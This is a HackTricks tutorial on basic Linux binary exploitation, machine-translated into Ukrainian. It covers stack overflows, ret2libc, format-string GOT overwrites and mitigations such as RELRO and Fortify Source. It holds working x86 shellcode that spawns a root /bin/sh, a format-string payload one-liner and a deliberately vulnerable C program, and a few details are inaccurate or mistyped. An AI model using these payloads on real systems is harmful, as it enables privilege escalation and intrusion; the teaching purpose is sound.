Linux Exploiting (Basic) (SPA)

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

1. ПЕРЕПОВНЕННЯ СТЕКУ

переповнення буфера, переповнення стеку, переповнення стеку, руйнування стеку

Segmentation fault або violation of segment: коли намагаються отримати доступ до адреси пам'яті, яка не була виділена процесу.

Для отримання адреси функції всередині програми можна використовувати:

objdump -d ./PROGRAMA | grep FUNCION

ROP

Виклик до sys_execve

pageROP - call sys_execve

2.SHELLCODE

Переглянути переривання ядра: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70 execve(“/bin/sh”, args[], NULL); // __NR_execve 11 exit(0); // __NR_exit 1

xor eax, eax ; очищуємо eax xor ebx, ebx ; ebx = 0, оскільки немає аргументів для передачі mov al, 0x01 ; eax = 1 —> __NR_exit 1 int 0x80 ; Виконати системний виклик

nasm -f elf assembly.asm —> Повертає .o файл ld assembly.o -o shellcodeout —> Дає виконуваний файл, створений з коду асемблера, і можна отримати опкоди за допомогою objdump objdump -d -Mintel ./shellcodeout —> Щоб переконатися, що це наш shellcode і отримати опкоди

Перевірити, що shellcode працює

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">​</span>

Для перевірки правильності викликів системи програму необхідно скомпілювати і викликати системні виклики за допомогою strace ./COMPILIED_PROGRAM

При створенні shellcode можна використовувати хитрість. Перша інструкція - це стрибок до виклику. Виклик викликає оригінальний код і додає EIP до стеку. Після виклику ми додали потрібний рядок, тому з цим EIP ми можемо вказати на рядок і продовжити виконання коду.

ПРИКЛАД ХИТРІСТЬ (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">​</span>

Використання EJ за допомогою стеку (/bin/sh):

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs

Ловець яєць:

Це невеликий код, який переглядає сторінки пам'яті, пов'язані з процесом, у пошуках там збереженого shellcode (шукає якусь підпис, розміщений у shellcode). Корисний у випадках, коли є лише невеликий простір для впровадження коду.

Поліморфні shell-коди

Це зашифровані оболонки, які мають невеликі коди для їх розшифрування та переходу до них, використовуючи трюк Call-Pop, ось приклад шифрованого шифру Цезаря:

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode
  1. Атака на вказівник рамки (EBP)

Корисно в ситуації, коли ми можемо змінити EBP, але не можемо змінити EIP.

Відомо, що при виході з функції виконується наступний асемблерний код:

movl               %ebp, %esp
popl                %ebp
ret

Таким чином, якщо можна змінити EBP при виході з функції (fvuln), яка була викликана іншою функцією, коли функція, яка викликала fvuln, завершиться, її EIP може бути змінений.

У fvuln можна ввести хибний EBP, який вказує на місце, де знаходиться адреса shellcode + 4 (до неї потрібно додати 4 через pop). Таким чином, при виході з функції, значення &(&Shellcode)+4 буде поміщено в ESP, з pop від ESP відніметься 4, і він вказуватиме на адресу shellcode під час виконання ret.

Exploit: &Shellcode + "AAAA" + SHELLCODE + заповнювач + &(&Shellcode)+4

Off-by-One Exploit Дозволяє змінити лише менш значущий байт EBP. Можна виконати атаку, схожу на попередню, але пам'ять, яка зберігає адресу shellcode, повинна містити тільки перші 3 байти разом з EBP.

4. Методи повернення до Libc

Корисний метод, коли стек не є виконуваним або залишає дуже мало місця для модифікації.

ASLR призводить до того, що під час кожного виконання функції завантажуються в різні позиції пам'яті. Тому цей метод може бути неефективним у цьому випадку. Для віддалених серверів, оскільки програма постійно виконується за тією ж адресою, цей метод може бути корисним.

  • cdecl(C declaration) Поміщає аргументи в стек, і після виходу з функції очищає стек

  • stdcall(standard call) Поміщає аргументи в стек, і це функція, яка викликається, очищає його

  • fastcall Поміщає перші два аргументи в реєстри, а решту - в стек

Вказується адреса інструкції system з libc, і їй передається рядок "/bin/sh", зазвичай з змінної середовища. Крім того, використовується адреса функції exit, щоб програма вийшла без проблем після того, як оболонка більше не потрібна (і записує журнали).

export SHELL=/bin/sh

Для пошуку необхідних адрес можна переглянути всередині GDB: p system p exit rabin2 -i виконуваний_файл —> Надає адресу всіх функцій, які використовує програма при завантаженні (У start або якомусь breakpoint): x/500s $esp —> Шукаємо тут рядок /bin/sh

Після отримання цих адрес exploit виглядатиме так:

“A” * DISTANCIA EBP + 4 (EBP: можуть бути 4 "A", краще, якщо це реальний EBP, щоб уникнути помилок сегментації) + Адреса system (перезапише EIP) + Адреса exit (після виклику system(“/bin/sh”) ця функція буде викликана, оскільки перші 4 байти стеку розглядаються як наступна адреса EIP для виконання) + Адреса “/bin/sh” (буде параметром, переданим у system)

Таким чином, EIP буде перезаписано адресою system, яка отримає рядок "/bin/sh" як параметр, і після виходу з цього виконається функція exit().

Можливо, виникне ситуація, коли якийсь байт якоїсь адреси якоїсь функції буде нульовим або пробілом (\x20). У цьому випадку можна розібрати попередні адреси цієї функції, оскільки, ймовірно, там буде кілька NOPs, які дозволять нам викликати один з них замість функції безпосередньо (наприклад, з > x/8i system-4).

Цей метод працює, оскільки, викликаючи функцію, таку як system, за допомогою опкоду ret замість call, функція розуміє, що перші 4 байти будуть адресою EIP, на яку повернутися.

Цікавою технікою з цим методом є виклик strncpy() для переміщення навантаження зі стеку до купи і подальше використання gets() для виконання цього навантаження.

Ще однією цікавою технікою є використання mprotect(), яка дозволяє призначити бажані дозволи для будь-якої частини пам'яті. Вона працює або працювала в BDS, MacOS та OpenBSD, але не в linux (контролює, що не можна одночасно надавати дозволи на запис та виконання). З цим атака може повернути стек як виконуваний.

Ланцюжок функцій

На основі попередньої техніки, цей спосіб експлойтування полягає в: Заповнювач + &Функція1 + &pop;ret; + &arg_fun1 + &Функція2 + &pop;ret; + &arg_fun2 + …

Таким чином можна ланцюгати функції, які потрібно викликати. Крім того, якщо потрібно використовувати функції з декількома аргументами, можна вказати необхідні аргументи (наприклад, 4) і вказати 4 аргументи та знайти адресу місця з опкодами: pop, pop, pop, pop, ret —> objdump -d виконуваний_файл

Ланцюжок через фальсифікацію фреймів (ланцюжок EBPs)

Полягає в тому, щоб використовувати можливість маніпулювати EBP для послідовного виконання кількох функцій через EBP та "leave;ret"

RELLENO

  • Встановлюємо в EBP хибний EBP, який вказує на: 2-й хибний EBP + функція для виконання: (&system() + &leave;ret + &“/bin/sh”)

  • В EIP вказуємо адресу функції &(leave;ret)

Починаємо shellcode з адресою на наступну частину shellcode, наприклад: 2-й хибний EBP + &system() + &(leave;ret;) + &”/bin/sh”

2-й EBP буде: 3-й хибний EBP + &system() + &(leave;ret;) + &”/bin/ls”

Цю shellcode можна повторювати нескінченно в доступних частинах пам'яті, щоб отримати shellcode, яку можна легко розділити на невеликі шматки пам'яті.

(Використання викликів функцій, змішуючи побачені раніше вразливості EBP та ret2lib)

5. Додаткові методи

Ret2Ret

Корисно, коли не можна вставити адресу стеку в EIP (перевіряється, що EIP не містить 0xbf) або коли не можна обчислити розташування shellcode. Проте вразлива функція приймає параметр (сюди буде вставлена shellcode).

Таким чином, змінивши EIP на адресу ret, завантажиться наступна адреса (яка є адресою першого аргумента функції). Іншими словами, завантажиться shellcode.

Exploit виглядатиме так: SHELLCODE + Заповнювач (до EIP) + &ret (наступні байти стеку вказують на початок shellcode, оскільки в стек вставляється адреса переданого параметра)

Здається, що функції, такі як strncpy, після завершення видаляють зі стеку адресу, де була збережена shellcode, ускладнюючи цю техніку. Іншими словами, адреса, яку передають функції як аргумент (яка зберігає shellcode), змінюється на 0x00, тому коли викликається другий ret, він зустрічає 0x00 і програма припиняє роботу.

**Ret2PopRet**

Якщо у нас немає контролю над першим аргументом, але є контроль над другим або третім, ми можемо перезаписати EIP адресою pop-ret або pop-pop-ret, в залежності від потреби.

Техніка Мурата

У Linux всі програми починаються з адреси 0xbfffffff.

Розглядаючи, як формується стек нового процесу в Linux, можна розробити експлоіт так, щоб програма запускалася в середовищі, де є лише змінна з кодом оболонки. Адресу цієї змінної можна обчислити як: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode)

Таким чином, можна легко отримати адресу змінної середовища з кодом оболонки.

Це можливо завдяки тому, що функція execle дозволяє створювати середовище лише з бажаними змінними середовища.

Перехід до ESP: Стиль Windows

Оскільки ESP завжди вказує на початок стеку, ця техніка полягає в заміні EIP адресою виклику jmp esp або call esp. Таким чином, після перезапису EIP код оболонки зберігається, оскільки після виконання ret ESP буде вказувати на наступну адресу, де зберігається код оболонки.

У випадку, якщо ASLR не активовано в Windows або Linux, можна викликати jmp esp або call esp, збережені в якомусь спільному об'єкті. Якщо ASLR активовано, можна шукати в межах самої вразливої програми.

Крім того, можливість розміщення коду оболонки після порушення EIP замість в середині стеку дозволяє уникнути того, що інструкції push або pop, які виконуються в середині функції, доторкнуться коду оболонки (що може статися, якщо вона розміщується в середині стеку функції).

Дуже схоже на це, якщо ми знаємо, що функція повертає адресу, де зберігається код оболонки, можна викликати call eax або jmp eax (ret2eax).

Переповнення цілих чисел

Цей тип переповнень виникає, коли змінна не готова обробляти таке велике число, якому її передають, можливо через плутанину між змінними зі знаком і без, наприклад:

#include <stdion.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}

У попередньому прикладі ми бачимо, що програма очікує 2 параметри. Перший - довжина наступного рядка, а другий - сам рядок.

Якщо ми передамо в якості першого параметра від'ємне число, вийде, що len < 256, і ми пройдемо цей фільтр, а також strlen(buffer) буде менше, ніж l, оскільки l є беззнаковим int і буде дуже великим.

Цей тип переповнень не спрямований на запис чогось у процес програми, а на обхід погано розроблених фільтрів для експлуатації інших вразливостей.

Невизначені змінні

Не відомо, яке значення може прийняти невизначена змінна, і це може бути цікаво вивчити. Можливо, вона прийме значення змінної з попередньої функції, яка може бути керована зловмисником.

Рядки форматування

У мові C printf - це функція, яку можна використовувати для виведення деякого рядка. Перший параметр, який очікує ця функція, - це сирій текст з форматерами. Наступні параметри - це значення, які замінять форматери у сирому тексті.

Вразливість виникає, коли текст зловмисника використовується як перший аргумент цій функції. Зловмисник зможе створити спеціальний ввід, зловживаючи можливостями рядка форматування printf для запису будь-яких даних за будь-якою адресою. Таким чином, він може виконати довільний код.

Форматери:

%08x> 8 hex bytes
%d> Entire
%u> Unsigned
%s> String
%n> Number of written bytes
%hn> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

%n записує кількість записаних байтів за вказаною адресою. Записуючи стільки байтів, скільки необхідно в шістнадцятковому форматі, можна записати будь-які дані.

AAAA%.6000d%4\$n> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x> Param at offset 500

GOT (Global Offsets Table) / PLT (Procedure Linkage Table)

Це таблиця, яка містить адресу до зовнішніх функцій, які використовує програма.

Отримайте адресу цієї таблиці за допомогою: objdump -s -j .got ./exec

Спостерігайте, як після завантаження виконуваного файлу в GEF ви можете побачити функції, які знаходяться в GOT: gef➤ x/20x 0xDIR_GOT

За допомогою GEF ви можете розпочати сеанс налагодження та виконати got, щоб побачити таблицю got:

У бінарному файлі GOT містить адреси функцій або секцію PLT, яка завантажить адресу функції. Метою цього експлойту є перезапис GOT-запису функції, яка буде виконана пізніше з адресою PLT функції system. Ідеально, ви перезапишете GOT функції, яка буде викликана з параметрами, які контролюються вами (таким чином, ви зможете контролювати параметри, які надсилаються функції системи).

Якщо system не використовується сценарієм, функція системи не матиме запису в GOT. У цьому сценарії вам доведеться витікати адресу функції system спочатку.

Procedure Linkage Table - це таблиця лише для читання в файлі ELF, яка зберігає всі необхідні символи, які потребують розв'язання. Коли викликаються одна з цих функцій, GOT буде перенаправляти потік до PLT, щоб він міг розв'язати адресу функції та записати її в GOT. Потім, наступного разу, коли виконується виклик на ту адресу, функція викликається без необхідності розв'язувати її.

Ви можете побачити адреси PLT за допомогою objdump -j .plt -d ./vuln_binary

Потік експлойту

Як пояснено раніше, метою буде перезаписати адресу функції в таблиці GOT, яка буде викликана пізніше. Ідеальною було б встановити адресу шел-коду, розташовану в виконувальному розділі, але ймовірно ви не зможете написати шел-код в виконувальному розділі. Тому інша опція - перезаписати функцію, яка отримує свої аргументи від користувача та спрямувати її на функцію system.

Для запису адреси, зазвичай робляться 2 кроки: спочатку записуються 2 байти адреси, а потім інші 2. Для цього використовується $hn.

HOB вказує на 2 старших байти адреси LOB вказує на 2 молодших байти адреси

Отже, через те, як працює формат рядка, вам потрібно спочатку записати менший з [HOB, LOB], а потім інший.

Якщо HOB < LOB [address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Якщо HOB > LOB [address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'`

Шаблон експлойту формат-рядка

Ви можете знайти шаблон для експлойтування GOT за допомогою формат-рядків тут:

pageFormat Strings Template

.fini_array

Фактично це структура з функціями, які будуть викликані перед завершенням програми. Це цікаво, якщо ви можете викликати свій шел-код просто перейшовши за адресою, або в тих випадках, коли вам потрібно повернутися до головної знову, щоб експлуатувати форматний рядок вдруге.

objdump -s -j .fini_array ./greeting

./greeting:     file format elf32-i386

Contents of section .fini_array:
8049934 a0850408

#Put your address in 0x8049934

Зверніть увагу, що це не створить вічний цикл, оскільки коли ви повернетеся до головної функції, канарейка помітить, що кінець стеку може бути пошкоджений, і функція більше не буде викликана знову. Таким чином, ви зможете виконати ще 1 раз уразливість.

Форматування рядків для виведення вмісту

Форматований рядок також може бути використаний для виведення вмісту з пам'яті програми. Наприклад, у наступній ситуації є локальна змінна в стеці, що вказує на прапорець. Якщо ви знайдете, де в пам'яті знаходиться вказівник на прапорець, ви можете зробити printf доступ до цієї адреси та вивести прапорець:

Отже, прапорець знаходиться в 0xffffcf4c

І з витоку ви можете побачити, що вказівник на прапорець знаходиться в 8-му параметрі:

Таким чином, звернувшись до 8-го параметру, ви можете отримати прапорець:

Зверніть увагу, що, слідуючи за попереднім використанням та реалізацією можливості витоку вмісту, ви можете встановити вказівники на printf до розділу, де завантажується виконуваний файл, та вивести його повністю!

DTOR

У наш час дуже незвичайно знайти бінарний файл з розділом dtor.

Деструктори - це функції, які виконуються перед завершенням програми. Якщо ви зможете записати адресу shellcode в __DTOR_END__, це буде виконано перед завершенням програми. Отримайте адресу цього розділу за допомогою:

objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”

Зазвичай ви знайдете розділ DTOR між значеннями ffffffff та 00000000. Так що, якщо ви бачите лише ці значення, це означає, що жодна функція не зареєстрована. Тому перезапишіть 00000000 адресою shellcode, щоб виконати його.

Форматування рядків для переповнення буфера

sprintf переміщує форматований рядок у змінну. Тому ви можете зловживати форматуванням рядка, щоб викликати переповнення буфера в змінній, куди копіюється вміст. Наприклад, навантаження %.44xAAAA запише 44 байти + "AAAA" у змінну, що може викликати переповнення буфера.

Структури __atexit

Сьогодні дуже незвичайно використовувати це.

atexit() - це функція, до якої передаються інші функції в якості параметрів. Ці функції будуть виконані при виконанні exit() або поверненні до головної функції. Якщо ви можете змінити адресу будь-якої з цих функцій, щоб вказувати на shellcode, наприклад, ви отримаєте контроль над процесом, але це зараз складніше. Наразі адреси функцій, які мають бути виконані, приховані за кількома структурами, і, нарешті, адреси, на які вони вказують, не є адресами функцій, а шифруються за допомогою XOR та зсувів з випадковим ключем. Тому наразі цей вектор атаки не дуже корисний принаймні на x86 та x64_86. Функція шифрування - PTR_MANGLE. Інші архітектури, такі як m68k, mips32, mips64, aarch64, arm, hppa... не реалізують функцію шифрування, оскільки вона повертає те ж, що отримала на вході. Тому ці архітектури можуть бути піддані атакам через цей вектор.

setjmp() & longjmp()

Сьогодні дуже незвичайно використовувати це.

Setjmp() дозволяє зберегти контекст (регістри) longjmp() дозволяє відновити контекст. Збережені регістри: EBX, ESI, EDI, ESP, EIP, EBP Справа в тому, що EIP та ESP передаються функцією PTR_MANGLE, тому архітектура, яка вразлива на цю атаку, така ж, як вище. Вони корисні для відновлення помилок або переривань. Однак, з того, що я прочитав, інші регістри не захищені, тому якщо є call ebx, call esi або call edi всередині функції, яка викликається, можна захопити контроль. Або ви також можете змінити EBP для зміни ESP.

VTable та VPTR у C++

Кожен клас має Vtable, який є масивом вказівників на методи.

Кожен об'єкт класу має VPtr, який є вказівником на масив свого класу. VPtr є частиною заголовка кожного об'єкта, тому якщо досягнуто переписування VPtr, його можна змінити, щоб вказувати на фіктивний метод, так що виконання функції перейде до shellcode.

Заходи запобігання та ухилення

Return-into-printf

Це техніка перетворення переповнення буфера на помилку формату рядка. Полягає в тому, що замінюємо EIP, щоб він вказував на printf функцію та передаємо їй як аргумент змінений рядок формату, щоб отримати значення про стан процесу.

Атака на бібліотеки

Бібліотеки знаходяться в позиції з 16-бітною випадковістю = 65636 можливих адрес. Якщо вразливий сервер викликає fork(), простір адрес пам'яті копіюється в дочірній процес і залишається незмінним. Тому можна спробувати зробити brute force до функції usleep() з libc, передаючи "16" як аргумент, щоб знайти цю функцію, коли відповідь затримується довше звичайного. Знаючи, де знаходиться ця функція, можна отримати delta_mmap та розрахувати інші.

Єдиний спосіб бути впевненим, що ASLR працює, - використовувати архітектуру 64 біт. Там немає атак методом грубої сили.

Relro

Relro (Read only Relocation) впливає на дозволи пам'яті подібно до NX. Відмінність полягає в тому, що, якщо з NX стек стає виконуваним, то RELRO робить певні речі тільки для читання, тому ми не можемо писати в них. Найпоширенішим перешкодою, яку я бачив, є запобігання перезапису таблиці got, про що буде розповідатися пізніше. Таблица got містить адреси функцій libc, щоб виконуваний файл знав ці адреси та міг їх викликати. Подивимося, які дозволи пам'яті має запис таблиці got для виконуваного файлу з та без relro.

З relro:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
0x555555557fd0 - 0x555555557fe8     "\x00\xd1\xe4\xf7\xff\x7f[...]"

Без relro:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
0x404018 - 0x404030     "\x00\xd1\xe4\xf7\xff\x7f[...]"

Для бінарного без relro ми бачимо, що адреса запису got для fgets - 0x404018. Придивившись до відображення пам'яті, ми бачимо, що вона потрапляє між 0x404000 та 0x405000, що має дозволи rw, що означає, що ми можемо читати та писати в неї. Для бінарного з relro ми бачимо, що адреса таблиці got для запуску бінарного файлу (pie увімкнено, тому ця адреса зміниться) - 0x555555557fd0. У відображенні пам'яті цього бінарного файлу вона потрапляє між 0x0000555555557000 та 0x0000555555558000, що має дозвіл на пам'ять r, що означає, що ми можемо лише читати з неї.

Так як обійти це? Типовий обхід, який я використовую, - просто не писати в області пам'яті, які relro змушує робити доступними тільки для читання, та знайти інший спосіб виконання коду.

Зверніть увагу, що для цього бінарний файл повинен знати перед виконанням адреси функцій:

  • Ліниве зв'язування: Адреса функції шукається перший раз, коли функцію викликають. Таким чином, під час виконання потрібно мати дозвіл на запис у GOT.

  • Прив'язка зараз: Адреси функцій вирішуються на початку виконання, після чого чутливим розділам, таким як .got, .dtors, .ctors, .dynamic, .jcr, надаються дозволи тільки для читання. `**-z relro**y**-z now`**

Щоб перевірити, чи програма використовує Bind now, ви можете виконати:

readelf -l /proc/ID_PROC/exe | grep BIND_NOW

Коли бінарний файл завантажується в пам'ять і функція викликається вперше, відбувається перехід до PLT (Procedure Linkage Table), звідки відбувається стрибок (jmp) до GOT і виявляється, що цей запис не вирішено (містить адресу наступного PLT). Тоді викликається Runtime Linker або rtfd для вирішення адреси і збереження її в GOT.

При виклику функції викликається PLT, яка містить адресу GOT, де зберігається адреса функції, тому вона перенаправляє потік туди, і функція викликається. Однак, якщо це перший виклик функції, в GOT буде наступна інструкція PLT, тому потік слідує коду PLT (rtfd), визначає адресу функції, зберігає її в GOT і викликає.

При завантаженні бінарного файлу в пам'ять компілятор вказує, на якому зміщенні розмістити дані, які мають бути завантажені при запуску програми.

Ліниве зв'язування —> Адреса функції шукається при першому виклику цієї функції, тому GOT має дозвіл на запис, щоб при пошуку зберегти її там і не потрібно буде шукати знову.

Прив'язка зараз —> Адреси функцій шукаються при завантаженні програми, і дозволи для розділів .got, .dtors, .ctors, .dynamic, .jcr змінюються на тільки для читання. -z relro і -z now

Незважаючи на це, загалом програми не складні з цими параметрами, тому ці атаки залишаються можливими.

readelf -l /proc/ID_PROC/exe | grep BIND_NOW —> Для визначення використання BIND NOW

Fortify Source -D_FORTIFY_SOURCE=1 або =2

Намагайтеся ідентифікувати функції, які копіюють дані з одного місця в інше небезпечним чином і замінюйте ці функції на безпечні. Наприклад: char buf[16]; strcpy(but, source);

Вона визначається як небезпечна, тому замінює strcpy() на __strcpy_chk(), використовуючи розмір буфера як максимальний розмір для копіювання.

Різниця між =1 або =2 полягає в тому, що:

Друга не дозволяє, щоб %n був з розділу з дозволами на запис. Крім того, параметр для прямого доступу до аргументів може бути використаний лише при використанні попередніх, тобто можна використовувати %3$d лише після використання %2$d і %1$d.

Для відображення повідомлення про помилку використовується argv[0], тому якщо встановити туди адресу іншого місця (наприклад, глобальної змінної), повідомлення про помилку покаже вміст цієї змінної. Стор. 191

Заміна Libsafe

Активується за допомогою: LD_PRELOAD=/lib/libsafe.so.2 або “/lib/libsave.so.2” > /etc/ld.so.preload

Деякі небезпечні виклики функцій замінюються на безпечні. Не є стандартизованим. (тільки для x86, не для компіляцій з -fomit-frame-pointer, не для статичних компіляцій, не всі небезпечні функції стають безпечними і LD_PRELOAD не працює для бінарних файлів з suid).

ASCII Armored Address Space

Полягає в завантаженні спільних бібліотек з 0x00000000 по 0x00ffffff, щоб завжди був байт 0x00. Однак це насправді мало захищає від будь-яких атак, особливо в little endian.

ret2plt

Полягає в тому, що виконується ROP так, що викликається функція strcpy@plt (з plt), вказується на запис в GOT і копіюється перший байт функції, яку потрібно викликати (system()). Потім це ж саме робиться, вказуючи на GOT+1 і копіюючи 2-й байт system()... У кінці викликається збережена адреса в GOT, яка буде system().

Falso EBP

Для функцій, які використовують EBP як реєстр для вказівки на аргументи, при зміні EIP і вказівки на system() також потрібно змінити EBP, щоб вказував на область пам'яті з будь-якими 2 байтами, а потім на адресу &”/bin/sh”.

Jaulas con chroot()

debootstrap -arch=i386 hardy /home/user —> Встановлює базову систему у вказану піддиректорію

